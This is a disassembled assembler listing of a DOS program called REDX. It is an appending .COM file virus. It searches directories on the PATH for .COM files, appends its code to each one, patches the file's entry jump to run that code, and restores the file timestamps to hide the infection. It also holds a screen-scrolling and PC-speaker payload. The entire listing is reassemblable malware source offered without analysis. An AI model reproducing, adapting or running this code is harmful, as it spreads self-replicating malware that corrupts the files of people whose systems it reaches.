
PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        REDX				         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   2-Apr-93					         ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: QRS		         ÛÛ
;ÛÛ      Copyright S & S Enterprises, 1988			         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

prn_port_3	equ	0Ch			; (0040:000C=0)
video_mode	equ	49h			; (0040:0049=3)
timer_low	equ	6Ch			; (0040:006C=0BE58h)
psp_envirn_seg	equ	2Ch			; (6151:002C=0)
data_18e	equ	0C80h			; (B000:0C80=0FFh)

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

redx		proc	far

start::
		jmp	short loc_2		; (0139)
data_2		dw	4890h			; Data table (indexed access)
						;  xref 6151:01C7
data_4		dw	6C65h			; Data table (indexed access)
						;  xref 6151:01CD
		db	 6Ch, 6Fh, 20h, 2Dh, 20h
copyright	db	'Copyright S & S Enterprises, 198'
		db	'8'
		db	 0Ah, 0Dh, 24h, 1Ah,0B4h, 09h
		db	0BAh, 03h, 01h,0CDh, 21h,0CDh
		db	20h
loc_2::						;  xref 6151:0100
;*		call	sub_1			;*(013D)
		db	0E8h, 01h, 00h
		add	[bp-7Fh],bx
		out	dx,al			; port 0, DMA-1 bas&add ch 0
		add	ax,[bx+di]
		call	sub_2			; (015F)
		call	sub_2			; (015F)
		call	sub_4			; (031D)
		lea	bx,[si+419h]		; Load effective addr
		mov	di,100h			; (6151:0100=0EBh)
		mov	al,[bx]
		mov	[di],al

		mov	ax,[bx+1]
		mov	[di+1],ax
		jmp	di			;*Register jump

loc_ret_3::					;  xref 6151:0168
		retn

redx		endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:0142, 0145
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2		proc	near
		call	sub_3			; (0240)
		mov	al,byte ptr data_16[si]	; (6151:0428=25h)
		or	al,al			; Zero ?
		jz	loc_ret_3		; Jump if zero
		lea	bx,[si+40Fh]		; Load effective addr
		inc	word ptr [bx]
		lea	dx,[si+428h]		; Load effective addr
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	word ptr ds:[417h][si],ax	; (6151:0417=2432h)
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	cx,3
		lea	dx,[si+414h]		; Load effective addr
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	al,byte ptr ds:[414h][si]	; (6151:0414=0EBh)
		cmp	al,0E9h
		jne	loc_4			; Jump if not equal
		mov	dx,word ptr ds:[415h][si]	; (6151:0415=3130h)
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		add	dx,3
		xor	cx,cx			; Zero register
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	cx,6
		lea	dx,[si+41Ch]		; Load effective addr
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	ax,data_10[si]		; (6151:041C=0E8E3h)
		mov	bx,data_11[si]		; (6151:041E=0EA2Ah)
		mov	cx,data_12[si]		; (6151:0420=0E8E7h)
		cmp	ax,word ptr ds:[100h][si]	; (6151:0100=37EBh)
		jne	loc_4			; Jump if not equal

		cmp	bx,data_2[si]		; (6151:0102=4890h)
		jne	loc_4			; Jump if not equal
		cmp	cx,data_4[si]		; (6151:0104=6C65h)
		je	loc_5			; Jump if equal
loc_4::						;  xref 6151:0192, 01C5, 01CB
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		mov	ax,4202h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		sub	ax,3
		mov	word ptr ds:[412h][si],ax	; (6151:0412=0EAE9h)
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		push	cx
		push	dx
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	cx,319h
		lea	dx,[si+100h]		; Load effective addr
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	cx,3
		lea	dx,[si+414h]		; Load effective addr
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	cx,3
		lea	dx,[si+411h]		; Load effective addr
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		pop	dx
		pop	cx
		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
loc_5::						;  xref 6151:01D1

		mov	bx,word ptr ds:[417h][si]	; (6151:0417=2432h)
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		retn
sub_2		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:015F
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_3		proc	near
		mov	ax,ds:psp_envirn_seg	; (6151:002C=0)
		mov	es,ax
		push	ds
		mov	ax,40h
		mov	ds,ax
		mov	bp,ds:timer_low		; (0040:006C=0BE5Fh)
		pop	ds
		test	bp,3
		jz	loc_8			; Jump if zero
		xor	bx,bx			; Zero register
loc_6::						;  xref 6151:026B
		mov	ax,es:[bx]
		cmp	ax,4150h
		jne	loc_7			; Jump if not equal
		cmp	word ptr es:[bx+2],4854h
		je	loc_9			; Jump if equal
loc_7::						;  xref 6151:025E
		inc	bx
		or	ax,ax			; Zero ?
		jnz	loc_6			; Jump if not zero
loc_8::						;  xref 6151:0254
		lea	di,[si+428h]		; Load effective addr
		jmp	short loc_14		; (02A5)
loc_9::						;  xref 6151:0266
		add	bx,5
loc_10::					;  xref 6151:0299
		lea	di,[si+428h]		; Load effective addr
loc_11::					;  xref 6151:0289
		mov	al,es:[bx]
		inc	bx
		or	al,al			; Zero ?
		jz	loc_13			; Jump if zero
		cmp	al,3Bh			; ';'
		je	loc_12			; Jump if equal
		mov	[di],al
		inc	di
		jmp	short loc_11		; (027A)
loc_12::					;  xref 6151:0284
		cmp	byte ptr es:[bx],0
		je	loc_13			; Jump if equal
		shr	bp,1			; Shift w/zeros fill
		shr	bp,1			; Shift w/zeros fill

		test	bp,3
		jnz	loc_10			; Jump if not zero
loc_13::					;  xref 6151:0280, 028F
		cmp	byte ptr [di-1],5Ch	; '\'
		je	loc_14			; Jump if equal
		mov	byte ptr [di],5Ch	; '\'
		inc	di
loc_14::					;  xref 6151:0271, 029F
		push	ds
		pop	es
		mov	data_13[si],di		; (6151:0422=2FE9h)
		mov	ax,2E2Ah
		stosw				; Store ax to es:[di]
		mov	ax,4F43h
		stosw				; Store ax to es:[di]
		mov	ax,4Dh
		stosw				; Store ax to es:[di]
		push	es
		mov	ah,2Fh			; '/'
		int	21h			; DOS Services  ah=function 2Fh
						;  get DTA ptr into es:bx
		mov	ax,es
		mov	data_14[si],ax		; (6151:0424=6D30h)
		mov	data_15[si],bx		; (6151:0426=3332h)
		pop	es
		lea	dx,[si+478h]		; Load effective addr
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		lea	dx,[si+428h]		; Load effective addr
		xor	cx,cx			; Zero register
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jnc	loc_15			; Jump if carry=0
		xor	ax,ax			; Zero register
		mov	data_16[si],ax		; (6151:0428=0E125h)
		jmp	short loc_18		; (030C)
loc_15::					;  xref 6151:02D9, 02FA
		push	ds
		mov	ax,40h
		mov	ds,ax
		ror	bp,1			; Rotate
		xor	bp,ds:timer_low		; (0040:006C=0BE63h)
		pop	ds
		test	bp,7
		jz	loc_16			; Jump if zero
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jnc	loc_15			; Jump if carry=0
loc_16::					;  xref 6151:02F4
		mov	di,data_13[si]		; (6151:0422=2FE9h)
		lea	bx,[si+496h]		; Load effective addr
loc_17::					;  xref 6151:030A
		mov	al,[bx]
		inc	bx

		stosb				; Store al to es:[di]
		or	al,al			; Zero ?
		jnz	loc_17			; Jump if not zero
loc_18::					;  xref 6151:02E1
		mov	bx,data_15[si]		; (6151:0426=3332h)
		mov	ax,data_14[si]		; (6151:0424=6D30h)
		push	ds
		mov	ds,ax
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		pop	ds
		retn
sub_3		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:0148
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_4		proc	near
		push	es
		mov	ax,word ptr ds:[40Fh][si]	; (6151:040F=0E7E6h)
		and	ax,7
		cmp	ax,6
		jne	loc_19			; Jump if not equal
		mov	ax,40h
		mov	es,ax
		mov	ax,es:prn_port_3	; (0040:000C=0)
		or	ax,ax			; Zero ?
		jnz	loc_19			; Jump if not zero
		inc	word ptr es:prn_port_3	; (0040:000C=0)
		call	sub_5			; (0341)
loc_19::					;  xref 6151:0328, 0335
		pop	es
		retn
sub_4		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:033C
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_5		proc	near
		push	ds
		mov	di,0B800h
		mov	ax,40h
		mov	ds,ax
		mov	al,ds:video_mode	; (0040:0049=3)
		cmp	al,7
		jne	loc_20			; Jump if not equal
		mov	di,0B000h
loc_20::					;  xref 6151:034F

		mov	es,di
		pop	ds
		mov	bp,0FFF0h
loc_21::					;  xref 6151:0370
		mov	dx,0
		mov	cx,10h

locloop_22::					;  xref 6151:0364
		call	sub_8			; (03A2)
		inc	dx
		loop	locloop_22		; Loop if cx > 0

		call	sub_7			; (037F)
		call	sub_9			; (03E7)
		inc	bp
		cmp	bp,50h
		jne	loc_21			; Jump if not equal
		call	sub_6			; (0378)
		push	ds
		pop	es
		retn
sub_5		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:0372
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_6		proc	near
		in	al,61h			; port 61h, 8255 port B, read
		and	al,0FCh
		out	61h,al			; port 61h, 8255 B - spkr, etc
						;  al = 0, disable parity
		retn
sub_6		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:0366
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_7		proc	near
		mov	dx,7D0h
		test	bp,4
		jz	loc_23			; Jump if zero
		mov	dx,0BB8h
loc_23::					;  xref 6151:0386
		in	al,61h			; port 61h, 8255 port B, read
		test	al,3
		jnz	loc_24			; Jump if not zero
		or	al,3
		out	61h,al			; port 61h, 8255 B - spkr, etc
		mov	al,0B6h

		out	43h,al			; port 43h, 8253 wrt timr mode
loc_24::					;  xref 6151:038F
		mov	ax,dx
		out	42h,al			; port 42h, 8253 timer 2 spkr
		mov	al,ah
		out	42h,al			; port 42h, 8253 timer 2 spkr
		retn
sub_7		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:0360
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_8		proc	near
		push	cx
		push	dx
		lea	bx,[si+3BFh]		; Load effective addr
		add	bx,dx
		add	dx,bp
		or	dx,dx			; Zero ?
		js	loc_27			; Jump if sign=1
		cmp	dx,50h
		jae	loc_27			; Jump if above or =
		mov	di,data_18e		; (B000:0C80=0FFh)
		add	di,dx
		add	di,dx
		sub	dx,bp
		mov	cx,5

locloop_25::					;  xref 6151:03E2
		mov	ah,7
		mov	al,[bx]
		sub	al,7
		add	al,cl
		sub	al,dl
		cmp	cx,5
		jne	loc_26			; Jump if not equal
		mov	ah,0Fh
		test	bp,3
		jz	loc_26			; Jump if zero
		mov	al,20h			; ' '
loc_26::					;  xref 6151:03CE, 03D6
		stosw				; Store ax to es:[di]
		add	bx,10h
		add	di,9Eh
		loop	locloop_25		; Loop if cx > 0

loc_27::					;  xref 6151:03AE, 03B3
		pop	dx
		pop	cx
		retn
sub_8		endp



;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;
;         Called from:	 6151:0369
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_9		proc	near
		push	ds
		mov	ax,40h
		mov	ds,ax
		mov	ax,ds:timer_low		; (0040:006C=0BE6Ah)
loc_29::					;  xref 6151:03F4
		cmp	ax,ds:timer_low		; (0040:006C=0BE6Ah)
		je	loc_29			; Jump if equal
		pop	ds
		retn
sub_9		endp

		db	 22h, 23h, 24h, 25h
		db	 26h, 27h, 28h, 29h, 66h, 87h
		db	 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
		db	 23h,0E0h,0E1h,0E2h,0E3h,0E4h
		db	0E5h
data_5		dw	0E7E6h			; Data table (indexed access)
						;  xref 6151:031E
		db	0E7h
data_6		dw	0EAE9h			; Data table (indexed access)
						;  xref 6151:01E3
data_7		db	0EBh			; Data table (indexed access)
						;  xref 6151:018C
data_8		dw	3130h			; Data table (indexed access)
						;  xref 6151:0194
data_9		dw	2432h			; Data table (indexed access)
						;  xref 6151:0179, 017D, 0198, 01A6
						;            01D3, 01E7, 01F2, 0201
						;            0210, 021D, 022E, 0237
		db	0E0h,0E1h,0E2h
data_10		dw	0E8E3h			; Data table (indexed access)
						;  xref 6151:01B5
data_11		dw	0EA2Ah			; Data table (indexed access)
						;  xref 6151:01B9
data_12		dw	0E8E7h			; Data table (indexed access)
						;  xref 6151:01BD
data_13		dw	2FE9h			; Data table (indexed access)
						;  xref 6151:02A7, 02FC
data_14		dw	6D30h			; Data table (indexed access)
						;  xref 6151:02BE, 0310
data_15		dw	3332h			; Data table (indexed access)
						;  xref 6151:02C2, 030C
data_16		dw	0E125h			; Data table (indexed access)
						;  xref 6151:0162, 02DD
		db	0E2h,0E3h,0E4h,0E5h,0E7h,0E7h
		db	0E8h,0E9h,0EAh,0EBh,0ECh,0EDh
		db	0EEh,0EFh, 26h,0E6h,0E7h, 29h
		db	 59h, 5Ah, 2Ch,0ECh,0EDh,0EEh
		db	0EFh,0F0h, 32h, 62h, 34h,0F4h
		db	 09h, 00h,0E9h, 36h, 00h,0EBh

		db	 2Eh, 90h, 05h, 00h,0EBh, 2Eh
		db	 90h

seg_a		ends



		end	start

